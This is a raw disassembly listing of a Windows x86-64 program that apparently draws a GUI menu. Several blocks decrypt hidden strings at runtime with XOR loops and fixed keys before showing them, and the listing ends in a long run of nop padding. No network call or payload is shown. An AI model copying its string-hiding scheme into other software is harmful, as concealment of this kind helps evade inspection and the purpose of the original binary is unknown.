addss xmm0, xmm11
movss dword [rbp + 0x1164], xmm0
call fcn.7ff6bafcb010
movss xmm2, dword [0x7ff6bb0ac154]
lea rcx, [rbp + 0x120]
movss xmm1, dword [rax]
addss xmm1, xmm6
call fcn.7ff6bafc1390
movss xmm6, dword [0x7ff6bb0abf84]
lea rcx, [rbp + 0x8d8]
movss xmm3, dword [0x7ff6bb0ac000]
movaps xmm1, xmm6
movss xmm2, dword [0x7ff6bb0abfb8]
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1158], xmm0
addss xmm0, xmm9
movss dword [rsp + 0x20], xmm14
movss dword [rbp + 0x1158], xmm0
movss xmm0, dword [rbp + 0x115c]
addss xmm0, xmm11
movss dword [rbp + 0x115c], xmm0
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm7, dword [0x7ff6bb0abf88]
lea rcx, [rbp + 0x8e8]
movss xmm3, dword [0x7ff6bb0abfd8]
movaps xmm2, xmm7
movss xmm1, dword [0x7ff6bb0abfec]
mov esi, eax
movss dword [rsp + 0x20], xmm14
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm3, dword [0x7ff6bb0ac014]
lea rcx, [rbp + 0x8f8]
movss xmm1, dword [0x7ff6bb0ac008]
movaps xmm2, xmm6
movss dword [rsp + 0x20], xmm14
mov edi, eax
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm3, dword [0x7ff6bb0ac02c]
lea rcx, [rbp + 0x908]
movss xmm2, dword [0x7ff6bb0abfcc]
movaps xmm1, xmm7
movss dword [rsp + 0x20], xmm14
mov ebx, eax
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm12, dword [0x7ff6bb0ac10c]
lea r8, [rbp + 0x1158]
mov dword [rsp + 0x40], 0
lea rdx, [rbp + 0x1160]
movss dword [rsp + 0x38], xmm12
mov r9d, eax
mov dword [rsp + 0x30], esi
mov rcx, r13
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], ebx
call fcn.7ff6bafe5020
movss xmm2, dword [0x7ff6bb0ac1c8]
lea rcx, [rbp + 0x128]
movss xmm1, dword [0x7ff6bb0ac248]
call fcn.7ff6bafc1390
movss xmm2, dword [0x7ff6bb0ac1b8]
lea rcx, [rbp + 0x130]
movss xmm1, dword [0x7ff6bb0ac204]
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
call fcn.7ff6bafc1390
movaps xmm0, xmm6
lea r8, [0x7ff6bb0a3508]
unpcklps xmm0, xmm7
movq rdx, xmm0
movss xmm2, dword [rax + 4]
movss xmm1, dword [rax]
unpcklps xmm1, xmm2
movq rcx, xmm1
call fcn.7ff6bb006fa0
movzx ecx, byte [0x7ff6bb155542]
test al, al
movss xmm2, dword [0x7ff6bb0ac1b8]
movss xmm1, dword [0x7ff6bb0ac254]
cmovne ecx, r12d
mov byte [0x7ff6bb155542], cl
lea rcx, [rbp + 0x138]
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
movss xmm2, dword [0x7ff6bb0ac130]
lea rcx, [rbp + 0x140]
movss xmm1, dword [0x7ff6bb0ac160]
call fcn.7ff6bafc1390
mov rdx, rax
lea rcx, [0x7ff6bb0a3518]
call fcn.7ff6baff05d0
mov rcx, qword [rbp - 0x70]
call fcn.7ff6bafd0b10
movss xmm2, dword [0x7ff6bb0ac168]
lea rcx, [rbp + 0x148]
movss xmm1, dword [0x7ff6bb0ac1c8]
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
lea rcx, [0x7ff6bb0a3530]
call fcn.7ff6bafef7e0
call fcn.7ff6bafd0bb0
movss xmm2, dword [0x7ff6bb0ac188]
lea rcx, [rbp + 0x150]
movss xmm1, dword [0x7ff6bb0ac1f4]
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
movss xmm0, dword [0x7ff6bb0ac048]
lea rcx, [rbp + 0x918]
movaps xmm3, xmm0
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.7ff6bafc13a0
mov rcx, rax
lea rdx, [0x7ff6bb0a3580]
call fcn.7ff6bafef8e0
cmp byte [0x7ff6bb155542], r12b
jne 0x7ff6bb00d990
movss xmm6, dword [0x7ff6bb0ac15c]
lea rcx, [rbp + 0x158]
movss xmm1, dword [0x7ff6bb0ac1f0]
movaps xmm2, xmm6
call fcn.7ff6bafc1390
movss xmm7, dword [0x7ff6bb0ac24c]
lea rcx, [rbp + 0x160]
movss xmm1, dword [0x7ff6bb0ac294]
movaps xmm2, xmm7
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1160], xmm0
addss xmm0, xmm9
movss dword [rbp + 0x1160], xmm0
movss xmm0, dword [rbp + 0x1164]
addss xmm0, xmm11
movss dword [rbp + 0x1164], xmm0
call fcn.7ff6bafc1390
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm15
lea rcx, [rbp + 0x928]
movaps xmm1, xmm15
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1158], xmm0
addss xmm0, xmm9
movss dword [rbp + 0x1158], xmm0
movss xmm0, dword [rbp + 0x115c]
addss xmm0, xmm11
movss dword [rbp + 0x115c], xmm0
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
xor esi, esi
lea r8, [rbp + 0x1158]
mov dword [rsp + 0x28], esi
lea rdx, [rbp + 0x1160]
mov r9d, eax
movss dword [rsp + 0x20], xmm12
mov rcx, r13
call fcn.7ff6bafe4e70
movss xmm1, dword [0x7ff6bb0ac1f0]
lea rcx, [rbp + 0x168]
movaps xmm2, xmm6
call fcn.7ff6bafc1390
movss xmm1, dword [0x7ff6bb0ac294]
lea rcx, [rbp + 0x170]
movaps xmm2, xmm7
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1160], xmm0
addss xmm0, xmm9
movss dword [rbp + 0x1160], xmm0
movss xmm0, dword [rbp + 0x1164]
addss xmm0, xmm11
movss dword [rbp + 0x1164], xmm0
call fcn.7ff6bafc1390
lea rcx, [rbp + 0x938]
movss dword [rsp + 0x20], xmm14
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1158], xmm0
addss xmm0, xmm9
movss dword [rbp + 0x1158], xmm0
movss xmm0, dword [rbp + 0x115c]
addss xmm0, xmm11
movss dword [rbp + 0x115c], xmm0
movss xmm0, dword [0x7ff6bb0abfd4]
movaps xmm3, xmm0
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss dword [rsp + 0x30], xmm14
lea r8, [rbp + 0x1158]
mov r9d, eax
mov dword [rsp + 0x28], esi
lea rdx, [rbp + 0x1160]
movss dword [rsp + 0x20], xmm12
mov rcx, r13
call fcn.7ff6bafe4d60
mov r14, qword [rbp - 0x68]
mov rcx, r14
call fcn.7ff6bafd0b10
movss xmm6, dword [0x7ff6bb0ac1fc]
lea rcx, [rbp + 0x178]
movss xmm2, dword [0x7ff6bb0ac160]
movaps xmm1, xmm6
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
lea rcx, [0x7ff6bb0a35e0]
call fcn.7ff6bafef7e0
call fcn.7ff6bafd0bb0
movss xmm2, dword [0x7ff6bb0ac170]
lea rcx, [rbp + 0x180]
movaps xmm1, xmm6
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
lea rdx, [rbp + 0x11d8]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.7ff6bb015310
mov edi, dword [0x7ff6bb0bb018]
mov rbx, rax
cmp byte [rax + 0x16], sil
jmp 0x7ff6bb000d92
mov rsi, qword [rbp - 0x10]
mov r14, qword [rbp - 0x68]
cmp byte [0x7ff6bb13fd32], r12b
jne 0x7ff6bb00e4fc
movss xmm6, dword [0x7ff6bb0ac15c]
lea rcx, [rbp + 0x1e0]
movss xmm1, dword [0x7ff6bb0ac1f0]
movaps xmm2, xmm6
call fcn.7ff6bafc1390
movss xmm7, dword [0x7ff6bb0ac24c]
lea rcx, [rbp + 0x1e8]
movss xmm1, dword [0x7ff6bb0ac294]
movaps xmm2, xmm7
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1160], xmm0
addss xmm0, xmm9
movss dword [rbp + 0x1160], xmm0
movss xmm0, dword [rbp + 0x1164]
addss xmm0, xmm11
movss dword [rbp + 0x1164], xmm0
call fcn.7ff6bafc1390
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm15
lea rcx, [rbp + 0x9d8]
movaps xmm1, xmm15
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1158], xmm0
addss xmm0, xmm9
movss dword [rbp + 0x1158], xmm0
movss xmm0, dword [rbp + 0x115c]
addss xmm0, xmm11
movss dword [rbp + 0x115c], xmm0
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
xor ebx, ebx
lea r8, [rbp + 0x1158]
mov dword [rsp + 0x28], ebx
lea rdx, [rbp + 0x1160]
mov r9d, eax
movss dword [rsp + 0x20], xmm12
mov rcx, r13
call fcn.7ff6bafe4e70
movss xmm1, dword [0x7ff6bb0ac1f0]
lea rcx, [rbp + 0x1f0]
movaps xmm2, xmm6
call fcn.7ff6bafc1390
movss xmm1, dword [0x7ff6bb0ac294]
lea rcx, [rbp + 0x1f8]
movaps xmm2, xmm7
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1160], xmm0
addss xmm0, xmm9
movss dword [rbp + 0x1160], xmm0
movss xmm0, dword [rbp + 0x1164]
addss xmm0, xmm11
movss dword [rbp + 0x1164], xmm0
call fcn.7ff6bafc1390
lea rcx, [rbp + 0x9e8]
movss dword [rsp + 0x20], xmm14
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1158], xmm0
addss xmm0, xmm9
movss dword [rbp + 0x1158], xmm0
movss xmm0, dword [rbp + 0x115c]
addss xmm0, xmm11
movss dword [rbp + 0x115c], xmm0
movss xmm0, dword [0x7ff6bb0abfd4]
movaps xmm3, xmm0
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss dword [rsp + 0x30], xmm14
lea r8, [rbp + 0x1158]
mov r9d, eax
mov dword [rsp + 0x28], ebx
lea rdx, [rbp + 0x1160]
movss dword [rsp + 0x20], xmm12
mov rcx, r13
call fcn.7ff6bafe4d60
mov rcx, r14
call fcn.7ff6bafd0b10
movss xmm6, dword [0x7ff6bb0ac1fc]
lea rcx, [rbp + 0x200]
movss xmm2, dword [0x7ff6bb0ac160]
movaps xmm1, xmm6
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
lea rcx, [0x7ff6bb0a35f0]
call fcn.7ff6bafef7e0
call fcn.7ff6bafd0bb0
movss xmm2, dword [0x7ff6bb0ac170]
lea rcx, [rbp + 0x208]
movaps xmm1, xmm6
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
lea rdx, [rbp + 0x11d8]
mov byte [rsp + 0x60], bl
lea rcx, [rsp + 0x60]
call fcn.7ff6bb015310
mov edi, dword [0x7ff6bb0bb018]
xor r14d, r14d
mov rbx, rax
cmp byte [rax + 0x16], r14b
je 0x7ff6bb00dda4
mov r8d, r14d
cmp edi, 2
jl 0x7ff6bb00dd61
movdqa xmm0, xmmword [0x7ff6bb0ac460]
mov eax, 5
movdqa xmm5, xmmword [0x7ff6bb0ac370]
mov rcx, rbx
movdqa xmm4, xmmword [0x7ff6bb0ac860]
movdqa xmm7, xmmword [0x7ff6bb0ac3a0]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
movd xmm12, eax
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm12
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x7ff6bb0ac420]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm12
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x7ff6bb0ac420]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x7ff6bb00dc50
cmp r8d, 0x17
jge 0x7ff6bb00dda4
movsxd r9, r8d
add r9, rbx
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x7ff6bb00dd70
movaps xmm3, xmm10
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm10
lea rcx, [rbp + 0x9f8]
movaps xmm1, xmm10
call fcn.7ff6bafc13a0
mov rdx, rbx
mov rcx, rax
call fcn.7ff6bafef8e0
movss xmm12, dword [0x7ff6bb0ac1fc]
lea rcx, [rbp + 0x210]
movss xmm2, dword [0x7ff6bb0ac194]
movaps xmm1, xmm12
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
lea rdx, [rbp + 0x5d8]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.7ff6bb015340
mov rbx, rax
movzx eax, byte [rax + 9]
test al, al
je 0x7ff6bb00de40
xor byte [rbx], 0x35
xor byte [rbx + 1], 0x36
xor byte [rbx + 2], 0x37
xor byte [rbx + 3], 0x38
xor byte [rbx + 4], 0x39
xor byte [rbx + 5], 0x3a
xor byte [rbx + 6], 0x3b
xor byte [rbx + 7], 0x3c
xor byte [rbx + 8], 0x3d
xor al, 0x3e
mov byte [rbx + 9], al
movaps xmm3, xmm10
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm10
lea rcx, [rbp + 0xa08]
movaps xmm1, xmm10
call fcn.7ff6bafc13a0
mov rdx, rbx
mov rcx, rax
call fcn.7ff6bafef8e0
movss xmm6, dword [0x7ff6bb0ac1c8]
lea rcx, [rbp + 0x218]
movaps xmm2, xmm6
movaps xmm1, xmm12
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
lea rdx, [rbp + 0x658]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.7ff6bb015360
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x7ff6bb00e014
mov r8d, r14d
cmp edi, 2
jl 0x7ff6bb00dfd8
movdqa xmm2, xmmword [0x7ff6bb0ac370]
mov eax, 5
movdqa xmm3, xmmword [0x7ff6bb0ac390]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x7ff6bb0ac860]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm6, eax
mov eax, dword [0x7ff6bb0ac460]
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x7ff6bb0ac3a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x7ff6bb0ac420]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbx], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
movss xmm6, dword [0x7ff6bb0ac1c8]
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x7ff6bb0ac3a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x7ff6bb0ac420]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
pxor xmm2, xmm0
movd dword [rbx + 4], xmm2
movsxd r9, r8d
add r9, rbx
nop
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x7ff6bb00dfe0
movaps xmm3, xmm10
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm10
lea rcx, [rbp + 0xa18]
movaps xmm1, xmm10
call fcn.7ff6bafc13a0
mov rdx, rbx
mov rcx, rax
call fcn.7ff6bafef8e0
movss xmm2, dword [0x7ff6bb0ac244]
lea rcx, [rbp + 0x220]
movss xmm1, dword [0x7ff6bb0ac228]
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
lea rcx, [0x7ff6bb0a3600]
call fcn.7ff6bafef7e0
movaps xmm1, xmm8
movaps xmm0, xmm15
call fcn.7ff6bafd2380
lea rdx, [rbp + 0x5e8]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.7ff6bb015670
mov rbx, rax
movzx eax, byte [rax + 9]
test al, al
je 0x7ff6bb00e0c4
xor byte [rbx], 0x35
xor byte [rbx + 1], 0x36
xor byte [rbx + 2], 0x37
xor byte [rbx + 3], 0x38
xor byte [rbx + 4], 0x39
xor byte [rbx + 5], 0x3a
xor byte [rbx + 6], 0x3b
xor byte [rbx + 7], 0x3c
xor byte [rbx + 8], 0x3d
xor al, 0x3e
mov byte [rbx + 9], al
movss xmm0, dword [0x7ff6bb0ac074]
lea rcx, [rbp + 0xa28]
movss xmm3, dword [0x7ff6bb0ac060]
movss xmm2, dword [0x7ff6bb0abfe4]
movss xmm1, dword [0x7ff6bb0ac01c]
movss dword [rsp + 0x20], xmm0
call fcn.7ff6bafc13a0
lea rdx, [rbp + 0xb0]
mov rcx, rax
call fcn.7ff6baffdb60
mov rdx, rbx
lea rcx, [rbp + 0xb0]
call fcn.7ff6bafef8e0
xor ecx, ecx
call fcn.7ff6bafcb340
test al, al
je 0x7ff6bb00e12d
mov byte [0x7ff6bb155542], r12b
mov byte [0x7ff6bb13fd32], 0
mov rcx, rsi
call fcn.7ff6bafd0b10
movss xmm2, dword [0x7ff6bb0ac1a4]
lea rcx, [rbp + 0x228]
movaps xmm1, xmm12
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
movaps xmm0, xmm6
call fcn.7ff6bafd24f0
lea rdi, [0x7ff6bb1555c0]
mov qword [rsp + 0x28], r14
mov rdx, rdi
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea rcx, [0x7ff6bb0a3620]
mov r8d, 0x80
call fcn.7ff6baff1c80
movss xmm2, dword [0x7ff6bb0ac1d0]
lea rcx, [rbp + 0x230]
movaps xmm1, xmm12
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
movaps xmm0, xmm6
call fcn.7ff6bafd24f0
mov r9d, 0x8000
mov qword [rsp + 0x28], r14
mov r8d, 0x80
mov qword [rsp + 0x20], r14
lea rdx, [0x7ff6bb155660]
lea rcx, [0x7ff6bb0a3630]
call fcn.7ff6baff1c80
movss xmm2, dword [0x7ff6bb0ac1f8]
lea rcx, [rbp + 0x238]
movaps xmm1, xmm12
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
movss xmm2, dword [0x7ff6bb0ac204]
lea rcx, [rbp + 0x240]
movss xmm1, dword [0x7ff6bb0ac288]
call fcn.7ff6bafc1390
movss xmm2, dword [0x7ff6bb0ac1f8]
lea rcx, [rbp + 0x248]
movaps xmm1, xmm12
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
call fcn.7ff6bafc1390
movaps xmm0, xmm6
lea r8, [0x7ff6bb0a35e0]
unpcklps xmm0, xmm7
movq rdx, xmm0
movss xmm2, dword [rax + 4]
movss xmm1, dword [rax]
unpcklps xmm1, xmm2
movq rcx, xmm1
call fcn.7ff6bb006fa0
test al, al
jmp 0x7ff6bb000d92
mov r14d, dword [rbp - 0x7c]
movss xmm1, dword [0x7ff6bb0ac154]
lea r8, [0x7ff6bb0a38f0]
movss xmm0, dword [0x7ff6bb0ac2c0]
unpcklps xmm0, xmm1
movss xmm1, dword [0x7ff6bb0ac2b8]
movq rdx, xmm0
movss xmm0, dword [0x7ff6bb0ac148]
unpcklps xmm1, xmm0
movq rcx, xmm1
call fcn.7ff6bb006fa0
mov rcx, qword [rbp - 0x60]
call fcn.7ff6bafd0b10
lea rcx, [rbp - 8]
mov dword [rbp - 8], 0x42f00000
mov dword [rbp - 4], 0x42480000
call fcn.7ff6bafd2450
lea rcx, [0x7ff6bb0a3900]
call fcn.7ff6bafef7e0
call fcn.7ff6bafd0bb0
movaps xmm0, xmm9
lea rcx, [rsp + 0x70]
addss xmm0, dword [0x7ff6bb0ac15c]
addss xmm9, dword [0x7ff6bb0ac2c4]
movaps xmm1, xmm11
addss xmm1, dword [0x7ff6bb0ac13c]
addss xmm11, dword [0x7ff6bb0ac158]
movss dword [rbp + 0x1160], xmm0
movaps xmm0, xmmword [0x7ff6bb0ac6a0]
movups xmmword [rsp + 0x70], xmm0
movss dword [rbp + 0x1164], xmm1
movss dword [rbp + 0x1158], xmm9
movss dword [rbp + 0x115c], xmm11
call fcn.7ff6bafc3580
movss xmm0, dword [0x7ff6bb0ac100]
lea r8, [rbp + 0x1158]
movss dword [rsp + 0x30], xmm14
lea rdx, [rbp + 0x1160]
mov r9d, eax
mov dword [rsp + 0x28], 0
mov rcx, r13
movss dword [rsp + 0x20], xmm0
call fcn.7ff6bafe4d60
lea rcx, [rbp]
mov dword [rbp], 0x43960000
mov dword [rbp + 4], 0x425c0000
call fcn.7ff6bafd2450
lea rcx, [0x7ff6bb0360dc]
call fcn.7ff6bafef7e0
xor ecx, ecx
call fcn.7ff6bafcb340
test al, al
movaps xmm1, xmm8
movaps xmm0, xmm15
cmovne r15d, r12d
call fcn.7ff6bafd2380
lea rcx, [rbp + 0x1408]
call fcn.7ff6bafd2430
lea rcx, [0x7ff6bb0a3908]
call fcn.7ff6bafef7e0
xor ecx, ecx
call fcn.7ff6bafcb340
test al, al
movaps xmm1, xmm8
mov eax, 2
movaps xmm0, xmm15
cmovne r15d, eax
call fcn.7ff6bafd2380
lea rcx, [0x7ff6bb0a3918]
call fcn.7ff6bafef7e0
xor ecx, ecx
call fcn.7ff6bafcb340
test al, al
movaps xmm1, xmm8
mov eax, 3
movaps xmm0, xmm15
cmovne r15d, eax
call fcn.7ff6bafd2380
lea rcx, [0x7ff6bb0a3928]
call fcn.7ff6bafef7e0
xor ecx, ecx
call fcn.7ff6bafcb340
test al, al
movaps xmm1, xmm8
mov eax, 4
movaps xmm0, xmm15
cmovne r15d, eax
call fcn.7ff6bafd2380
lea rcx, [0x7ff6bb0a3938]
call fcn.7ff6bafef7e0
xor ecx, ecx
call fcn.7ff6bafcb340
test al, al
movaps xmm1, xmm8
mov eax, 5
movaps xmm0, xmm15
cmovne r15d, eax
mov dword [rbp - 0x78], r15d
call fcn.7ff6bafd2380
lea rcx, [0x7ff6bb0a3950]
call fcn.7ff6bafef7e0
xor ecx, ecx
call fcn.7ff6bafcb340
movss xmm12, dword [0x7ff6bb0abfa4]
test al, al
je 0x7ff6bb012649
mov r15d, 6
mov dword [rbp - 0x78], r15d
jmp 0x7ff6bb012649
movss xmm2, dword [0x7ff6bb0ac150]
lea rcx, [rbp + 0x260]
movss xmm1, dword [0x7ff6bb0ac1ec]
call fcn.7ff6bafc1390
movss xmm2, dword [0x7ff6bb0ac154]
lea rcx, [rbp + 0x268]
movss xmm1, dword [0x7ff6bb0ac200]
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1160], xmm0
addss xmm0, xmm9
movss dword [rbp + 0x1160], xmm0
movss xmm0, dword [rbp + 0x1164]
addss xmm0, xmm11
movss dword [rbp + 0x1164], xmm0
call fcn.7ff6bafc1390
movss xmm6, dword [0x7ff6bb0abf84]
lea rcx, [rbp + 0xa78]
movss xmm3, dword [0x7ff6bb0ac000]
movaps xmm1, xmm6
movss xmm2, dword [0x7ff6bb0abfb8]
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1158], xmm0
addss xmm0, xmm9
movss dword [rsp + 0x20], xmm14
movss dword [rbp + 0x1158], xmm0
movss xmm0, dword [rbp + 0x115c]
addss xmm0, xmm11
movss dword [rbp + 0x115c], xmm0
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm3, dword [0x7ff6bb0abfd8]
lea rcx, [rbp + 0xa88]
movss xmm2, dword [0x7ff6bb0abf88]
mov esi, eax
movss xmm1, dword [0x7ff6bb0abfec]
movss dword [rsp + 0x20], xmm14
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm3, dword [0x7ff6bb0ac014]
lea rcx, [rbp + 0xa98]
movss xmm1, dword [0x7ff6bb0ac008]
movaps xmm2, xmm6
movss dword [rsp + 0x20], xmm14
mov edi, eax
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm3, dword [0x7ff6bb0ac02c]
lea rcx, [rbp + 0xaa8]
movss xmm2, dword [0x7ff6bb0abfcc]
mov ebx, eax
movss xmm1, dword [0x7ff6bb0abf88]
movss dword [rsp + 0x20], xmm14
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm0, dword [0x7ff6bb0ac10c]
lea r8, [rbp + 0x1158]
mov dword [rsp + 0x40], 0
lea rdx, [rbp + 0x1160]
movss dword [rsp + 0x38], xmm0
mov r9d, eax
mov dword [rsp + 0x30], esi
mov rcx, r13
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], ebx
call fcn.7ff6bafe5020
mov rcx, qword [rbp - 0x70]
call fcn.7ff6bafd0b10
movss xmm2, dword [0x7ff6bb0ac168]
lea rcx, [rbp + 0x270]
movss xmm1, dword [0x7ff6bb0ac214]
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
lea rcx, [0x7ff6bb0a36a0]
call fcn.7ff6bafef7e0
call fcn.7ff6bafd0bb0
movss xmm2, dword [0x7ff6bb0ac178]
movss xmm1, dword [0x7ff6bb0ac1e8]
lea rcx, [rbp + 0x278]
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
movss xmm0, dword [0x7ff6bb0ac048]
lea rcx, [rbp + 0xab8]
movaps xmm3, xmm0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
